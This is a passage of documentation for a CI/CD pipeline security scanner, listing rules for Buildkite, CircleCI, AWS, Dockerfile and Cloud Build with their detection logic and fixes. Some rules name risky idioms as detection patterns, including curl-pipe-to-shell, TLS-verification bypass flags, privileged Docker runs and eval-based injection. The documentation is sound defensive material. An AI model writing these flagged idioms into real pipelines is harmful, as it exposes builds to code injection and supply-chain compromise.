How this is detected. A step is treated as a deploy when its label, key, or any command line contains a deploy keyword (deploy, ship, release, promote, apply, rollout, terraform apply, kubectl apply, helm upgrade, aws ecs update-service). The check passes when at least one preceding step in the same pipeline file is a block: or input: flow-control step.
Recommendation. Insert a - block: "Deploy?" (or - input: step) in front of every deploy step. Buildkite waits for a human to click Unblock before the gated steps run, which prevents an unreviewed merge from auto-deploying to production. Combine with branches: main so the gate only appears on release branches.
Known false positives.
- Pipelines where the deploy gate lives in a triggered pipeline rather than the local file, the local pipeline looks ungated even though the actual deploy is gated downstream. Add a no-op
block:to silence.
Source: BK-007 in the Buildkite provider.
BK-008: TLS verification disabled in step command MEDIUM 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detection fires on the canonical bypass flags across curl, wget, git, npm, pip, gcloud, and openssl. The check is deliberately conservative, partial-word matches (--insecure-protocols) are excluded.
Recommendation. Drop curl -k / --insecure, wget --no-check-certificate, git -c http.sslVerify=false, and pip install --trusted-host. If a CA isn't trusted, install it into the agent's trust store (update-ca-certificates) rather than disabling validation pipeline-wide. A compromised intermediate that strips TLS gets a free hand with every fetch the step performs.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: BK-008 in the Buildkite provider.
BK-009: Artifacts not signed (no cosign/sigstore step) MEDIUM
Evidences: Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants.
How this is detected. Unsigned artifacts can't be verified downstream, a tampered build is indistinguishable from a legitimate one. The check recognises cosign, sigstore, slsa-github-generator, slsa-framework, and notation-sign as signing tools, matching the shared signing-token catalog used by the other CI packs.
Recommendation. Add a signing step, install cosign once (brew install cosign in the agent image, or a cosign-install plugin) and call cosign sign --yes <ref> after the build. For container images pushed to ECR / GCR / GHCR, the same call signs by digest. Publish the signature alongside the artifact and verify it at consumption time.
Source: BK-009 in the Buildkite provider.
BK-010: No SBOM generated for build artifacts MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated.
How this is detected. An SBOM (CycloneDX or SPDX) records every component baked into the build. Without one, post-incident triage can't answer did this CVE ship? for a given artifact. Detection uses the shared SBOM-token catalog, syft, cyclonedx, cdxgen, spdx-tools, microsoft/sbom-tool.
Recommendation. Add an SBOM-generation step. syft <artifact> -o cyclonedx-json > sbom.json runs in any standard agent image; cyclonedx-cli and cdxgen are alternative producers. Upload the SBOM via buildkite-agent artifact upload so downstream consumers (and incident-response tooling) can match deployed artifacts to the components they were built from.
Source: BK-010 in the Buildkite provider.
BK-011: No SLSA provenance attestation produced MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated, Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants, Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Provenance generation is distinct from signing. A signed artifact proves who published it; a provenance attestation proves where / how it was built. Without it, a leaked signing key forges identity but a leaked build environment also forges provenance. You need both for the SLSA L3 non-falsifiability guarantee. Detection uses the shared provenance-token catalog (slsa-framework, cosign attest, in-toto, attest-build-provenance).
Recommendation. Run cosign attest --predicate slsa.json (or the SLSA-framework generator from a build-time step) after the build completes. The predicate records the build inputs and the agent that produced the artifact. Publish the attestation alongside the artifact so consumers can verify how it was built, not just who signed it.
Source: BK-011 in the Buildkite provider.
CB-002: Privileged mode enabled HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Privileged mode grants the build container root access to the host's Docker daemon. A compromised build can escape the container or tamper with the host. Only flip this on for real Docker-in-Docker workloads and keep the buildspec under branch-protected review.
Recommendation. Disable privileged mode unless the project explicitly requires Docker-in-Docker builds. If required, ensure the buildspec is tightly controlled, peer-reviewed, and sourced from a trusted repository with branch protection.
Source: CB-002 in the AWS provider.
CB-004: No build timeout configured LOW
Evidences: Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. A CodeBuild project at AWS's 480-minute maximum is rarely deliberate. Without a tighter ceiling, a runaway test loop, a fork-PR cryptomining payload, or a build that hangs on stdin keeps the build host (and its IAM role) live for the full eight hours, racking up cost and extending the compromise window.
Recommendation. Set a build timeout appropriate for your expected build duration (typically 15–60 minutes) to limit the blast radius of a runaway or abused build.
Source: CB-004 in the AWS provider.
CB-007: CodeBuild webhook has no filter group MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds, Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. A CodeBuild webhook with no filter groups fires on every push and every PR from any actor, including fork PRs from outside the org. Anyone able to open a PR triggers the build with whatever IAM authority the project's role carries. Filter groups (branch + actor + event type) are the gate.
Recommendation. Define filter groups restricting triggers to specific branches, actors, and event types.
Source: CB-007 in the AWS provider.
CC-001: Orb not pinned to exact semver HIGH 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Orb references in the orbs: block must include an @x.y.z suffix to lock a specific version. References without @, with @volatile, or with only a major (@1) or major.minor (@5.1) version float and can silently pull in malicious updates.
Recommendation. Pin every orb to an exact semver version (circleci/node@5.1.0). Floating references like @volatile, @1, or bare names without @ resolve to whatever is latest at build time, allowing a compromised orb update to execute in the pipeline.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: CC-001 in the CircleCI provider.
CC-002: Script injection via untrusted environment variable HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. CircleCI exposes environment variables like $CIRCLE_BRANCH, $CIRCLE_TAG, and $CIRCLE_PR_NUMBER that are controlled by the event source (branch name, tag, PR). Interpolating them unquoted into run: commands allows shell injection via specially crafted branch or tag names.
Recommendation. Do not interpolate attacker-controllable environment variables (CIRCLE_BRANCH, CIRCLE_TAG, CIRCLE_PR_NUMBER, etc.) directly into shell commands. Pass them through an intermediate variable and quote them, or use CircleCI pipeline parameters instead.
Source: CC-002 in the CircleCI provider.
CC-003: Docker image not pinned by digest HIGH
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Docker images referenced in docker: blocks under jobs or executors must include an @sha256:... digest suffix. Tag-only references (:latest, :18) are mutable and can be replaced at any time by whoever controls the upstream registry.
Recommendation. Pin every Docker image to its sha256 digest: cimg/node:18@sha256:abc123.... Tags like :latest or :18 are mutable, a registry compromise or upstream push silently replaces the image content.
Source: CC-003 in the CircleCI provider.
CC-004: Secret-like environment variable not managed via context MEDIUM
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Jobs that declare environment variables with secret-looking names (containing PASSWORD, TOKEN, SECRET, or API_KEY) in inline environment: blocks bypass CircleCI's context restrictions, security groups, OIDC claims, and audit logs are only enforced when secrets live in contexts.
Recommendation. Move secret-like variables (PASSWORD, TOKEN, SECRET, API_KEY) into a CircleCI context and reference the context in the workflow job configuration. Contexts support security groups and audit logging that inline environment: blocks lack.
Source: CC-004 in the CircleCI provider.
CC-006: Artifacts not signed (no cosign/sigstore step) MEDIUM
Evidences: Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants.
How this is detected. Unsigned artifacts cannot be verified downstream, so a tampered build is indistinguishable from a legitimate one. The check recognises cosign, sigstore, slsa-framework, and notation-sign as signing tools.
Recommendation. Add a signing step to the pipeline, e.g. install cosign and run cosign sign, or use the sigstore CLI. Publish the signature alongside the artifact and verify it at consumption time.
Source: CC-006 in the CircleCI provider.
CC-007: SBOM not produced (no CycloneDX/syft/Trivy-SBOM step) MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated.
How this is detected. Without an SBOM, downstream consumers cannot audit the exact set of dependencies shipped in the artifact, delaying vulnerability response when a transitive dep is disclosed. The check recognises CycloneDX, syft, Anchore SBOM action, spdx-sbom-generator, Microsoft sbom-tool, and Trivy in SBOM mode.
Recommendation. Add an SBOM generation step, syft . -o cyclonedx-json, Trivy with --format cyclonedx, or Microsoft's sbom-tool. Attach the SBOM to the build artifacts so consumers can ingest it into their vulnerability management pipeline.
Source: CC-007 in the CircleCI provider.
CC-008: Credential-shaped literal in config body CRITICAL 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Every string in the config is scanned against a set of credential patterns (AWS access keys, GitHub tokens, Slack tokens, JWTs, Stripe, Google, Anthropic, etc.). A match means a secret was pasted into YAML, the value is visible in every fork and every build log and must be treated as compromised.
Recommendation. Rotate the exposed credential immediately. Move the value to a CircleCI project environment variable or a context and reference it via the variable name. For cloud access, prefer OIDC federation over long-lived keys.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example
AKIAIOSFODNN7EXAMPLEis deliberately NOT suppressed, if it appears in a real pipeline it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.
Source: CC-008 in the CircleCI provider.
CC-010: Self-hosted runner without ephemeral marker MEDIUM
Evidences: Build.L2.Hosted Build L2: Builds run on a hosted build platform (not a developer workstation), Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. Self-hosted runners that persist between jobs leak filesystem and process state. A PR-triggered job writes to /tmp; a subsequent prod-deploy job on the same runner reads it. The check looks for resource_class values containing 'self-hosted', if found, it checks for 'ephemeral' in the value. Also checks for machine: true combined with a self-hosted resource class.
Recommendation. Configure self-hosted runners to tear down between jobs. Use a resource_class value that includes an ephemeral marker, or use CircleCI's machine executor with runner auto-scaling so each job gets a fresh environment.
Source: CC-010 in the CircleCI provider.
CC-012: Dynamic config via setup: true enables code injection MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. When setup: true is set at the top level, the config becomes a setup workflow. It generates the real pipeline config dynamically (typically via the circleci/continuation orb). An attacker who controls the setup job (e.g. via a malicious PR in a fork) can inject arbitrary config for all subsequent jobs, including deploy steps with production secrets.
Recommendation. If setup: true is required, restrict the setup job to a trusted branch filter and audit the generated config carefully. Ensure the continuation orb's configuration_path points to a checked-in file, not a dynamically generated one that could be influenced by PR content.
Source: CC-012 in the CircleCI provider.
CC-014: Job missing resource_class declaration MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Without an explicit resource_class, CircleCI assigns a default executor. Declaring the class documents the expected scope and prevents accidental use of larger (or self-hosted) executors that may have elevated privileges.
Recommendation. Add resource_class: to every job to explicitly control the executor size and capabilities. Use the smallest class that satisfies build requirements.
Source: CC-014 in the CircleCI provider.
CC-015: No no_output_timeout configured MEDIUM 🔧 fix
Evidences: Build.L3.Ephemeral Build L3: Build environment is ephemeral and provisioned fresh for each run.
How this is detected. Without no_output_timeout, a hung step can consume executor time indefinitely. Explicit timeouts cap cost and the window during which a compromised step has access to secrets and the build environment.
Recommendation. Add no_output_timeout: to long-running run steps, or set it at the job level. A reasonable default is 10-30 minutes. CircleCI's default of 10 minutes may be too long for some pipelines and absent for others.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: CC-015 in the CircleCI provider.
CC-016: Remote script piped to shell interpreter HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a CircleCI config. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the CI runner.
Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Known false positives.
- Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.
Source: CC-016 in the CircleCI provider.
CC-017: Docker run with insecure flags (privileged/host mount) CRITICAL 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Flags like --privileged, --cap-add, --net=host, or host-root volume mounts (-v /:/) in a CircleCI config give the container full access to the runner, enabling container escape and lateral movement.
Recommendation. Remove --privileged and --cap-add flags. Use minimal volume mounts. Prefer rootless containers.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: CC-017 in the CircleCI provider.
CC-021: Package install without lockfile enforcement MEDIUM 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.
Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: CC-021 in the CircleCI provider.
CC-023: TLS / certificate verification bypass HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.
Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: CC-023 in the CircleCI provider.
CC-024: No SLSA provenance attestation produced MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated, Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants, Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Signing (cosign sign) binds identity to bytes; attestation (cosign attest) binds a structured claim about how the artifact was built. SLSA verifiers check the latter so consumers can enforce builder/source/parameter policies.
Recommendation. Add a run: cosign attest command against a provenance.intoto.jsonl statement, or use the circleci/attestation orb. CC-006 covers signing; this rule covers the build-provenance step SLSA Build L3 requires.
Source: CC-024 in the CircleCI provider.
CC-025: Cache key derives from attacker-controllable input MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. CircleCI's restore_cache falls through each listed key until it finds a hit. When one of those keys is derived from CIRCLE_BRANCH, CIRCLE_TAG, or CIRCLE_PR_*, values an attacker can set by opening a PR, the attacker can plant a cache entry that a protected job later uses. Uses checksum-of-lockfile or a static version label instead.
Recommendation. Derive save_cache and restore_cache keys from values the attacker can't control, the lockfile checksum ({{ checksum "package-lock.json" }}) and the build variant, not {{ .Branch }} or ${CIRCLE_PR_NUMBER}. A PR-scoped branch can seed a poisoned cache entry that a later main-branch run restores as trusted.
Source: CC-025 in the CircleCI provider.
CC-027: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Complements CC-002 (script injection from untrusted context). Fires on intrinsically risky shell idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted.
Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate or allow-list any value that must feed a dynamic command at the boundary.
Known false positives.
eval "$(ssh-agent -s)"and similareval "$(<literal-tool>)"bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.
Source: CC-027 in the CircleCI provider.
CC-028: Package install bypasses registry integrity (git / path / tarball source) MEDIUM
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Complements CC-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs bypass the registry integrity controls the lockfile relies on.
Recommendation. Pin git dependencies to a commit SHA. Publish private packages to an internal registry instead of installing from a filesystem path or tarball URL.
Source: CC-028 in the CircleCI provider.
CP-001: No approval action before deploy stages HIGH
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. A pipeline that goes Source -> Build -> Deploy with no Approval action means every commit on the source branch ships, with no human ack between code-merged and code-running-in-prod. The Manual approval action is the intentional pause point, combine with CP-005 for production-tagged stages specifically.
Recommendation. Add a Manual approval action to a stage that precedes every Deploy stage that targets a production or sensitive environment.
Source: CP-001 in the AWS provider.
CP-002: Artifact store not encrypted with customer-managed KMS key MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated, Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants.
How this is detected. The pipeline's S3 artifact store holds intermediate build outputs handed between stages. Default SSE-S3 (AES256) encrypts at rest but uses an AWS-owned key whose policy you can't scope. A customer-managed CMK gives the same key-policy + CloudTrail Decrypt-event audit story you'd apply to Lambda code, Secrets Manager, or any other build output.
Recommendation. Configure a customer-managed AWS KMS key as the encryptionKey for each artifact store. This enables key rotation, fine-grained access policies, and CloudTrail auditing of decrypt operations.
Source: CP-002 in the AWS provider.
DF-001: FROM image not pinned to sha256 digest HIGH 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Reuses _primitives/image_pinning.classify so the floating-tag semantics match GL-001 / JF-009 / ADO-009 / CC-003. PINNED_TAG (e.g. python:3.12.1-slim) is treated as unpinned here too, only an explicit @sha256: survives, since the tag is mutable on the registry side.
Recommendation. Resolve every base image to its current digest (docker buildx imagetools inspect <ref> prints it) and pin via FROM repo@sha256:<digest>. Automate refreshes with Renovate or Dependabot. A floating tag (:latest, :3, no tag) silently swaps the build base under every rebuild.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Seen in the wild.
- Docker Hub typosquatting / namespace-takeover incidents (2017 onward): docker-library Sysdig and Aqua research documented thousands of malicious images uploaded under near-miss names (
alpinevsalphine, etc.) and occasional namespace recoveries shipping crypto-miners downstream. Digest-pinned consumers are immune; tag-pinned consumers pull whatever sits under the name today. - Codecov
codecov/codecov-actiontag-mutation incident (post-Codecov-Bash-uploader compromise): the upstream rotated the action's@v3tag during the fallout, and consumers pinning to the tag silently re-ran a different build than before. Digest pinning would have surfaced the change as a checksum mismatch instead of a silent swap.
Source: DF-001 in the Dockerfile provider.
DF-003: ADD pulls remote URL without integrity verification HIGH
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. ADD with a URL is the historical Dockerfile footgun: it fetches at build time over HTTP(S) with no checksum and no signature, and the registry tag does not pin the source. A tampered server or DNS hijack silently swaps the content. COPY is for local files; RUN curl + verify is for remote ones.
Recommendation. Replace ADD https://... with a multi-step RUN: download the file with curl -fsSLo, verify a known-good checksum (sha256sum -c) or signature (cosign verify-blob), then extract / install. Better still: download the artifact in a builder stage and COPY it across. That way the verifier runs once at build time, not per-pull.
Source: DF-003 in the Dockerfile provider.
DF-004: RUN executes a remote script via curl-pipe / wget-pipe HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds, Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Reuses _primitives/remote_script_exec.scan so the vocabulary matches the equivalent CI-side rules (GHA-016, GL-016, BB-012, ADO-016, CC-016, JF-016).
Recommendation. Download to a file, verify checksum or signature, then execute. curl -fsSL <url> -o /tmp/x.sh && sha256sum -c <(echo '<digest> /tmp/x.sh') && bash /tmp/x.sh. Vendor installers from well-known hosts (rustup.rs, get.docker.com, ...) are reported with vendor_trusted=true so reviewers can calibrate.
Source: DF-004 in the Dockerfile provider.
DF-008: RUN invokes docker --privileged or escalates capabilities HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. Mirrors GHA-017 / GL-017 / BB-013 / ADO-017 / CC-017 / JF-017 (docker run --privileged in CI scripts) but at Dockerfile build time. The risk is subtler: a privileged RUN step doesn't directly elevate the resulting image, but it gives the build host's docker daemon a chance to escape, and any tampered base image can exploit the elevated build.
Recommendation. A Dockerfile build step almost never legitimately needs --privileged or --cap-add SYS_ADMIN / ALL. If the build genuinely requires elevated capabilities (e.g. compiling a kernel module), do it in a sealed builder image and COPY the artifact out, don't carry the privileged execution into the runtime image.
Source: DF-008 in the Dockerfile provider.
DF-010: apt-get dist-upgrade / upgrade pulls unknown package versions LOW
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Running apt-get upgrade (or dist-upgrade) inside a Dockerfile is the classic pet-vs-cattle anti-pattern. Two back-to-back builds with the same Dockerfile can produce different images because the upstream archive moved between the two RUN invocations. dist-upgrade additionally relaxes dependency resolution. It can install / remove arbitrary packages to satisfy upgrades, so the resulting image's package set isn't even bounded by what the Dockerfile declares.
Recommendation. Drop the upgrade step. Build on a recent base image instead (rebuild your image when the base image gets a security patch, pin the base by digest per DF-001 so the rebuild is deterministic). apt-get install pkg=<version> for specific packages stays reproducible; upgrade / dist-upgrade does not.
Source: DF-010 in the Dockerfile provider.
DF-016: Image lacks OCI provenance labels LOW
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated, Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants.
How this is detected. The OCI image-spec annotation set is a small de facto standard maintained by the OCI working group. Only image.source and image.revision are checked because they're the two whose absence makes incident response materially harder; image.title / image.description are nice-to-have but the rule doesn't fire on those.
Recommendation. Add a LABEL line carrying at least org.opencontainers.image.source (the URL of the source repo) and org.opencontainers.image.revision (the commit SHA built into the image). Most registries surface those fields in the UI and on manifest inspect, which closes the source-to-image gap that GHA-006 / SLSA Build-L2 provenance attestation also addresses.
Known false positives.
- A multi-stage build's intermediate stages don't need provenance labels, only the final image ships. The rule fires per Dockerfile, not per stage; suppress for files where the final
FROMis intentional throwaway scratch.
Source: DF-016 in the Dockerfile provider.
ECR-002: Image tags are mutable HIGH
Evidences: Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants, Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Mutable tags mean :latest, :v1.0, and :stable can be re-pushed silently, the same tag points to different image content over time. Pinning by digest (sha256:...) in deployment manifests is the only durable reference; IMMUTABLE on the repo enforces the property registry-side so a forgotten digest reference doesn't drift.
Recommendation. Set imageTagMutability=IMMUTABLE on the repository. Reference images by digest (sha256:...) in deployment manifests for strongest immutability guarantees.
Source: ECR-002 in the AWS provider.
GCB-001: Cloud Build step image not pinned by digest HIGH 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Bare references (gcr.io/cloud-builders/docker) are treated as :latest by Cloud Build. Tag-only references (:20, :latest) count as unpinned. Only @sha256:… suffixes pass.
Recommendation. Pin every steps[].name image to an @sha256:<digest> suffix. gcr.io/cloud-builders/docker:latest is mutable; Google publishes new builder images frequently and the next build would pull whatever is current. Resolve the digest with gcloud artifacts docker images describe <ref> --format='value(image_summary.digest)' and pin it.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: GCB-001 in the Cloud Build provider.
GCB-004: dynamicSubstitutions on with user substitutions in step args HIGH
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. The _-prefix is Cloud Build's naming convention for user substitutions; they are editable via build trigger UI, gcloud builds submit --substitutions, and the REST API. Built-in substitutions ($PROJECT_ID, $COMMIT_SHA, $BUILD_ID) are derived from the trigger event and are not treated as user-controlled by this rule.
Recommendation. Either disable options.dynamicSubstitutions (it defaults to false) or move user substitutions ($_FOO) out of step args, pass them through env: and reference them inside a shell script the builder runs. Dynamic substitution re-evaluates bash syntax after variable expansion, giving trigger-config editors a script-injection channel.
Source: GCB-004 in the Cloud Build provider.
GCB-007: availableSecrets references versions/latest MEDIUM 🔧 fix
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. versions/latest is documented as a rolling alias. A build run on Monday and a re-run on Tuesday can consume different secret bodies without any change to cloudbuild.yaml, breaking the reproducibility invariant that pinning protects.
Recommendation. Pin each availableSecrets.secretManager[].versionName to a specific version number (.../versions/7) rather than latest. Rotate by updating the number when a new version is promoted, not by silently publishing a new version that the next build pulls.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: GCB-007 in the Cloud Build provider.
GCB-008: No vulnerability scanning step in Cloud Build pipeline MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated, Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants.
How this is detected. The detector matches tool names anywhere in the document, step images, args, or entrypoint strings. Container Analysis API scanning configured at the project level counts as compensating control but is out of scope for this YAML-only check; if you rely on it, suppress this rule via --checks.
Recommendation. Add a step that runs a vulnerability scanner, trivy, grype, snyk test, npm audit, pip-audit, osv-scanner, or govulncheck. In Cloud Build this typically looks like a step with name: aquasec/trivy or an entrypoint: bash step that invokes trivy image / grype <ref> on the built image.
Source: GCB-008 in the Cloud Build provider.
GCB-009: Artifacts not signed (no cosign / sigstore step) MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated.
How this is detected. Silent-pass when the pipeline does not appear to produce artifacts (no docker push / gcloud run deploy / kubectl apply / etc. in any step). The detector matches cosign, sigstore, slsa-framework, and notation.
Recommendation. Add a signing step before images: is resolved, for example, a step with name: gcr.io/projectsigstore/cosign that runs cosign sign --yes <registry>/<repo>@<digest>. Pair with an attestation step (cosign attest --predicate sbom.json --type cyclonedx) so consumers can verify both the signature and the build provenance.
Source: GCB-009 in the Cloud Build provider.
GCB-014: Build logging disabled (options.logging: NONE) HIGH 🔧 fix
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
How this is detected. options.logging defaults to CLOUD_LOGGING_ONLY when omitted, which passes. Only the explicit NONE value (case- insensitive) trips this rule. GCS_ONLY / LEGACY pass. They persist logs, just to a different destination.
Recommendation. Remove the logging: NONE override, or replace it with CLOUD_LOGGING_ONLY / GCS_ONLY, so every step's stdout, stderr, and exit code is persisted. Loss of logs is a detection-and-response black hole; the storage cost is measured in cents.
Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.
Source: GCB-014 in the Cloud Build provider.
GCB-015: SBOM not produced (no CycloneDX / syft / Trivy-SBOM step) MEDIUM
Evidences: Build.L1.Provenance Build L1: Provenance describing how the artifact was produced is generated, Build.L2.Signed Build L2: Provenance is authenticated and cannot be forged by tenants, Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Complements GCB-009 (signing) and GCB-008 (vuln scanning). Without an SBOM, downstream consumers cannot audit the exact dependency set shipped in a Cloud Build image, delaying vulnerability response when a transitive dep is disclosed. Pairs naturally with cosign attest --type cyclonedx in a follow-up step.
Recommendation. Add an SBOM generation step, syft <image> -o cyclonedx-json, trivy image --format cyclonedx, and publish the resulting document alongside the image (typically via a cosign attestation so the SBOM travels with the artifact).
Source: GCB-015 in the Cloud Build provider.
GCB-018: Legacy KMS secrets block in use (prefer availableSecrets / Secret Manager) MEDIUM
Evidences: Build.L3.NonFalsifiable Build L3: Provenance cannot be falsified by the build's own tenant.
How this is detected. Cloud Build supports two secret-injection mechanisms. The older secrets: block carries KMS-encrypted ciphertext directly in the YAML; the cipher is decrypted at build time if the build's service account has cloudkms.cryptoKeyDecrypter on the key. The newer availableSecrets block references Secret Manager versions by URL, which is the documented modern approach. The legacy form still works, but rotating a value means re-encrypting and committing a new ciphertext.
Recommendation. Migrate from the top-level secrets: block (KMS-encrypted values stored inline in the YAML) to availableSecrets + Secret Manager. Replace each secrets[].secretEnv mapping with a versionName reference under availableSecrets.secretManager. Secret Manager rotates without re-encrypting and re-committing the YAML, scopes access via IAM rather than the KMS key's IAM, and produces an explicit audit log entry on every read.
Known false positives.
- Builds that use both forms during a migration trip the rule on the legacy block. That's intentional, finishing the migration is the fix.
Source: GCB-018 in the Cloud Build provider.
GCB-019: Shell entrypoint inlines a user substitution into args HIGH
Evidences: Build.L3.Isolated Build L3: Build runs in an isolated environment not influenced by other builds.
